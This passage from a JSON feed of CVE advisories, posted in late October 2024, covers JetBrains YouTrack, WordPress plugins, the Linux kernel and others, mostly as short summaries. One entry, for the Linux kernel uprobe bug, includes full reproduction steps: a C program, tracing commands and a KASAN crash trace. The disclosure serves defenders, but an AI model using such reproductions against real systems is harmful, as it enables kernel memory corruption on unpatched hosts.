"https://t.me/cvedetector/9114", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50575 - JetBrains YouTrack Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50575 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : In JetBrains YouTrack before 2024.3.47707 reflected XSS was possible in Widget API \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T15:19:26.000000Z"}, {"uuid": "6b784962-02a3-496d-ab42-58612f65300d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50574", "type": "seen", "source": "https://t.me/cvedetector/9113", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50574 - JetBrains YouTrack Email Header Parsing ReDoS\", \n  \"Content\": \"CVE ID : CVE-2024-50574 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : In JetBrains YouTrack before 2024.3.47707 potential ReDoS exploit was possible via email header parsing in Helpdesk functionality \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T15:19:25.000000Z"}, {"uuid": "d737abc0-a67a-414b-ba79-b180aa0c1fc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50573", "type": "seen", "source": "https://t.me/cvedetector/9112", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50573 - JetBrains Hub Permanent Token Spoofing Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50573 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : In JetBrains Hub before 2024.3.47707 improper access control allowed users to generate permanent tokens for unauthorized services \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T15:19:24.000000Z"}, {"uuid": "c68c9b35-a224-4974-bfb1-560e9303585f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50581", "type": "seen", "source": "https://t.me/cvedetector/9111", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50581 - JetBrains YouTrack Cross-Site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50581 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : In JetBrains YouTrack before 2024.3.47707 improper HTML sanitization could lead to XSS attack via comment tag \nSeverity: 4.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T15:19:24.000000Z"}, {"uuid": "ba9f5140-607e-4d43-ba52-8be28a44ba4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50580", "type": "seen", "source": "https://t.me/cvedetector/9110", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50580 - JetBrains YouTrack - Unvalidated MarkDown Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50580 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : In JetBrains YouTrack before 2024.3.47707 multiple XSS were possible due to insecure markdown parsing and custom rendering rule \nSeverity: 4.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T15:19:20.000000Z"}, {"uuid": "e3d6ea3a-72d2-47bc-ba00-b4cf9f60754d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50579", "type": "seen", "source": "https://t.me/cvedetector/9109", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50579 - JetBrains YouTrack Reflective Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50579 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : In JetBrains YouTrack before 2024.3.47707 reflected XSS due to insecure link sanitization was possible \nSeverity: 4.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T15:19:19.000000Z"}, {"uuid": "4e0bee00-3d58-476c-bce7-e9b7e6aca324", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50578", "type": "seen", "source": "https://t.me/cvedetector/9108", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50578 - JetBrains YouTrack Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50578 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : In JetBrains YouTrack before 2024.3.47707 stored XSS was possible via sprint value on agile boards page \nSeverity: 4.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T15:19:18.000000Z"}, {"uuid": "fd8d6fe9-ab07-4d5d-9c7d-05446c3a0cdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50582", "type": "seen", "source": "https://t.me/cvedetector/9107", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50582 - JetBrains YouTrack Stored XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50582 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : In JetBrains YouTrack before 2024.3.47707 stored XSS was possible due to improper HTML sanitization in markdown elements \nSeverity: 4.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T15:19:18.000000Z"}, {"uuid": "08baf1bb-3b59-453a-9190-398336ea7d99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50467", "type": "seen", "source": "https://t.me/cvedetector/9156", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50467 - WebXApp Scrollbar Stored Cross-site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-50467 \nPublished : Oct. 28, 2024, 6:15 p.m. | 44\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WebXApp Scrollbar by webxapp \u2013 Best vertical/horizontal scrollbars plugin allows Stored XSS.This issue affects Scrollbar by webxapp \u2013 Best vertical/horizontal scrollbars plugin: from n/a through 1.3.0. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T20:20:57.000000Z"}, {"uuid": "79f669c7-c14e-4761-bfa9-71bfd7621aca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50464", "type": "seen", "source": "https://t.me/cvedetector/9155", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50464 - Kodex Posts likes Stored Cross-site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-50464 \nPublished : Oct. 28, 2024, 6:15 p.m. | 44\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Pierre Lebedel Kodex Posts likes allows Stored XSS.This issue affects Kodex Posts likes: from n/a through 2.5.0. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T20:20:57.000000Z"}, {"uuid": "b32b727d-a50b-4ec9-9c65-a66caa0a9c98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50469", "type": "seen", "source": "https://t.me/cvedetector/9154", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50469 - Team Bright Vessel Textboxes DOM-Based XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50469 \nPublished : Oct. 28, 2024, 6:15 p.m. | 44\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Team Bright Vessel Textboxes allows DOM-Based XSS.This issue affects Textboxes: from n/a through 0.1.3.1. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T20:20:56.000000Z"}, {"uuid": "58dd0a16-28f6-4794-a34f-21ab8414f58c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50067", "type": "published-proof-of-concept", "source": "https://t.me/cvedetector/9084", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50067 - \"Linux kernel uprobe vulnerability: Out-of-bounds memory access of fetching args\"\", \n  \"Content\": \"CVE ID : CVE-2024-50067 \nPublished : Oct. 28, 2024, 1:15 a.m. | 29\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nuprobe: avoid out-of-bounds memory access of fetching args  \n  \nUprobe needs to fetch args into a percpu buffer, and then copy to ring  \nbuffer to avoid non-atomic context problem.  \n  \nSometimes user-space strings, arrays can be very large, but the size of  \npercpu buffer is only page size. And store_trace_args() won't check  \nwhether these data exceeds a single page or not, caused out-of-bounds  \nmemory access.  \n  \nIt could be reproduced by following steps:  \n1. build kernel with CONFIG_KASAN enabled  \n2. save follow program as test.c  \n  \n```  \n\\#include   \n\\#include   \n\\#include   \n  \n// If string length large than MAX_STRING_SIZE, the fetch_store_strlen()  \n// will return 0, cause __get_data_size() return shorter size, and  \n// store_trace_args() will not trigger out-of-bounds access.  \n// So make string length less than 4096.  \n\\#define STRLEN 4093  \n  \nvoid generate_string(char *str, int n)  \n{  \n    int i;  \n    for (i = 0; i < n; ++i)  \n    {  \n        char c = i % 26 + 'a';  \n        str[i] = c;  \n    }  \n    str[n-1] = '\\0';  \n}  \n  \nvoid print_string(char *str)  \n{  \n    printf(\"%s\\n\", str);  \n}  \n  \nint main()  \n{  \n    char tmp[STRLEN];  \n  \n    generate_string(tmp, STRLEN);  \n    print_string(tmp);  \n  \n    return 0;  \n}  \n```  \n3. compile program  \n`gcc -o test test.c`  \n  \n4. get the offset of `print_string()`  \n```  \nobjdump -t test | grep -w print_string  \n0000000000401199 g     F .text  000000000000001b              print_string  \n```  \n  \n5. configure uprobe with offset 0x1199  \n```  \noff=0x1199  \n  \ncd /sys/kernel/debug/tracing/  \necho \"p /root/test:${off} arg1=+0(%di):ustring arg2=\\$comm arg3=+0(%di):ustring\"  \n > uprobe_events  \necho 1 > events/uprobes/enable  \necho 1 > tracing_on  \n```  \n  \n6. run `test`, and kasan will report error.  \n==================================================================  \nBUG: KASAN: use-after-free in strncpy_from_user+0x1d6/0x1f0  \nWrite of size 8 at addr ffff88812311c004 by task test/499CPU: 0 UID: 0 PID: 499 Comm: test Not tainted 6.12.0-rc3+ #18  \nHardware name: Red Hat KVM, BIOS 1.16.0-4.al8 04/01/2014  \nCall Trace:  \n   \n dump_stack_lvl+0x55/0x70  \n print_address_description.constprop.0+0x27/0x310  \n kasan_report+0x10f/0x120  \n ? strncpy_from_user+0x1d6/0x1f0  \n strncpy_from_user+0x1d6/0x1f0  \n ? rmqueue.constprop.0+0x70d/0x2ad0  \n process_fetch_insn+0xb26/0x1470  \n ? __pfx_process_fetch_insn+0x10/0x10  \n ? _raw_spin_lock+0x85/0xe0  \n ? __pfx__raw_spin_lock+0x10/0x10  \n ? __pte_offset_map+0x1f/0x2d0  \n ? unwind_next_frame+0xc5f/0x1f80  \n ? arch_stack_walk+0x68/0xf0  \n ? is_bpf_text_address+0x23/0x30  \n ? kernel_text_address.part.0+0xbb/0xd0  \n ? __kernel_text_address+0x66/0xb0  \n ? unwind_get_return_address+0x5e/0xa0  \n ? __pfx_stack_trace_consume_entry+0x10/0x10  \n ? arch_stack_walk+0xa2/0xf0  \n ? _raw_spin_lock_irqsave+0x8b/0xf0  \n ? __pfx__raw_spin_lock_irqsave+0x10/0x10  \n ? depot_alloc_stack+0x4c/0x1f0  \n ? _raw_spin_unlock_irqrestore+0xe/0x30  \n ? stack_depot_save_flags+0x35d/0x4f0  \n ? kasan_save_stack+0x34/0x50  \n ? kasan_save_stack+0x24/0x50  \n ? mutex_lock+0x91/0xe0  \n ? __pfx_mutex_lock+0x10/0x10  \n prepare_uprobe_buffer.part.0+0x2cd/0x500  \n uprobe_dispatcher+0x2c3/0x6a0  \n ? __pfx_uprobe_dispatcher+0x10/0x10  \n ? __kasan_slab_alloc+0x4d/0x90  \n handler_chain+0xdd/0x3e0  \n handle_swbp+0x26e/0x3d0  \n ? __pfx_handle_swbp+0x10/0x10  \n ? uprobe_pre_sstep_notifier+0x151/0x1b0  \n irqentry_exit_to_user_mode+0xe2/0x1b0  \n asm_exc_int3+0x39/0x40  \nRIP: 0033:0x401199  \nCode: 01 c2 0f b6 45 fb 88 02 83 45 fc 01 8b 45 fc 3b 45 e4 7c b7 8b 45 e4 48 98 48 8d 50 ff 48 8b 45 e8 48 01 d0 ce  \nRSP: 002b:00007ffdf00576a8 EFLAGS: 00000206  \nRAX: 00007ffdf00576b0 RBX: 0000000000000000 RCX: 000000000000[...]", "creation_timestamp": "2024-10-28T02:46:40.000000Z"}, {"uuid": "871a97e0-1431-46df-8edf-6b6a098bdfb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50624", "type": "seen", "source": "https://t.me/cvedetector/9081", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50624 - KDE Kmail cleartext HTTP Configuration Retrieval Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50624 \nPublished : Oct. 28, 2024, 12:15 a.m. | 38\u00a0minutes ago \nDescription : ispdbservice.cpp in KDE Kmail before 6.2.0 allows man-in-the-middle attackers to trigger use of an attacker-controlled mail server because cleartext HTTP is used for a URL such as  or  for retrieving the configuration. This is related to kmail-account-wizard. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T01:56:29.000000Z"}, {"uuid": "0bd1e6f5-25f3-4aac-ab32-fdb5b69ca232", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://t.me/cvedetector/9080", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50623 - Cleo Harmony/LexiCom Unsandboxed JavaScript Injection\", \n  \"Content\": \"CVE ID : CVE-2024-50623 \nPublished : Oct. 28, 2024, 12:15 a.m. | 38\u00a0minutes ago \nDescription : In Cleo Harmony before 5.8.0.20, VLTrader before 5.8.0.20, and LexiCom before 5.8.0.20, there is a JavaScript Injection vulnerability. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T01:56:29.000000Z"}, {"uuid": "e9c72fb1-1d27-4a03-bb26-7154736a4b54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50445", "type": "seen", "source": "https://t.me/cvedetector/9144", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50445 - Merkulove Selection Lite Cross-site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50445 \nPublished : Oct. 28, 2024, 6:15 p.m. | 15\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Merkulove Selection Lite allows Stored XSS.This issue affects Selection Lite: from n/a through 1.13. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T19:30:36.000000Z"}, {"uuid": "08eb9a6b-d6dc-4d63-b028-7cdab120a72e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50458", "type": "seen", "source": "https://t.me/cvedetector/9143", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50458 - Improper Neutralization of Input During Web Page G\", \n  \"Content\": \"CVE ID : CVE-2024-50458 \nPublished : Oct. 28, 2024, 6:15 p.m. | 15\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WP Codeus Advanced Sermons allows Stored XSS.This issue affects Advanced Sermons: from n/a through 3.4. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T19:30:35.000000Z"}, {"uuid": "e09bf1ee-4bec-4f8b-988f-093a7d91b593", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50451", "type": "seen", "source": "https://t.me/cvedetector/9142", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50451 - Improper Neutralization of Input During Web Page G\", \n  \"Content\": \"CVE ID : CVE-2024-50451 \nPublished : Oct. 28, 2024, 6:15 p.m. | 15\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in realmag777 WordPress Meta Data and Taxonomies Filter (MDTF) allows Stored XSS.This issue affects WordPress Meta Data and Taxonomies Filter (MDTF): from n/a through 1.3.3.4. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T19:30:34.000000Z"}, {"uuid": "ba52582f-cc4b-46a4-a65f-384c0b920480", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50501", "type": "seen", "source": "https://t.me/cvedetector/9119", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50501 - Climax Themes Kata Plus Stored XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50501 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Climax Themes Kata Plus allows Stored XSS.This issue affects Kata Plus: from n/a through 1.4.7. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T15:19:33.000000Z"}, {"uuid": "ef1fce11-109a-47d6-b0be-738f49f6cf79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50479", "type": "seen", "source": "https://t.me/cvedetector/9120", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50479 - Mansur Ahamed Woocommerce Quote Calculator SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50479 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Mansur Ahamed Woocommerce Quote Calculator allows Blind SQL Injection.This issue affects Woocommerce Quote Calculator: from n/a through 1.1. \nSeverity: 9.3 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T15:19:34.000000Z"}, {"uuid": "92d10ee9-e7b6-4e36-832c-92e0e1bb61c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50613", "type": "seen", "source": "https://t.me/cvedetector/9072", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50613 - Libsndfile Assertion Denial\", \n  \"Content\": \"CVE ID : CVE-2024-50613 \nPublished : Oct. 27, 2024, 10:15 p.m. | 37\u00a0minutes ago \nDescription : libsndfile through 1.2.2 has a reachable assertion, that may lead to application exit, in mpeg_l3_encode.c mpeg_l3_encoder_close. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T00:16:03.000000Z"}, {"uuid": "9aa2d75d-9ad2-4a15-8bfe-e6dfefddb039", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50450", "type": "seen", "source": "https://t.me/cvedetector/9104", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50450 - WordPress Meta Data and Taxonomies Filter (MDTF) Code Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50450 \nPublished : Oct. 28, 2024, 12:15 p.m. | 19\u00a0minutes ago \nDescription : Improper Control of Generation of Code ('Code Injection') vulnerability in realmag777 WordPress Meta Data and Taxonomies Filter (MDTF) allows Code Injection.This issue affects WordPress Meta Data and Taxonomies Filter (MDTF): from n/a through 1.3.3.4. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T13:39:08.000000Z"}, {"uuid": "d7e35e4e-24ac-4872-bdb6-05af82c37a61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50442", "type": "seen", "source": "https://t.me/cvedetector/9103", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50442 - WordPress Royal Elementor Addons XML External Entity Injection\", \n  \"Content\": \"CVE ID : CVE-2024-50442 \nPublished : Oct. 28, 2024, 12:15 p.m. | 19\u00a0minutes ago \nDescription : Improper Restriction of XML External Entity Reference vulnerability in WP Royal Royal Elementor Addons allows XML Injection.This issue affects Royal Elementor Addons: from n/a through 1.3.980. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T13:39:04.000000Z"}, {"uuid": "81257b0e-bcb4-4ff7-84e8-7e802a742f8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50416", "type": "seen", "source": "https://t.me/cvedetector/9102", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50416 - WPClever WPC Shop WooCommerce Deserialization of Untrusted Data Object Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50416 \nPublished : Oct. 28, 2024, 12:15 p.m. | 19\u00a0minutes ago \nDescription : Deserialization of Untrusted Data vulnerability in WPClever WPC Shop as a Customer for WooCommerce allows Object Injection.This issue affects WPC Shop as a Customer for WooCommerce: from n/a through 1.2.6. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T13:39:03.000000Z"}, {"uuid": "fe697094-e289-47e2-9a60-24a4589bda5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50408", "type": "seen", "source": "https://t.me/cvedetector/9101", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50408 - Kiboko Labs Namaste! LMS Object Injection Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50408 \nPublished : Oct. 28, 2024, 12:15 p.m. | 19\u00a0minutes ago \nDescription : Deserialization of Untrusted Data vulnerability in Kiboko Labs Namaste! LMS allows Object Injection.This issue affects Namaste! LMS: from n/a through 2.6.3. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T13:39:02.000000Z"}, {"uuid": "7bd94f30-3761-4abc-b93e-a37a5098450c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50489", "type": "seen", "source": "https://t.me/cvedetector/9098", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50489 - Realty Workstation Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50489 \nPublished : Oct. 28, 2024, 12:15 p.m. | 19\u00a0minutes ago \nDescription : Authentication Bypass Using an Alternate Path or Channel vulnerability in Realty Workstation allows Authentication Bypass.This issue affects Realty Workstation: from n/a through 1.0.45. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector 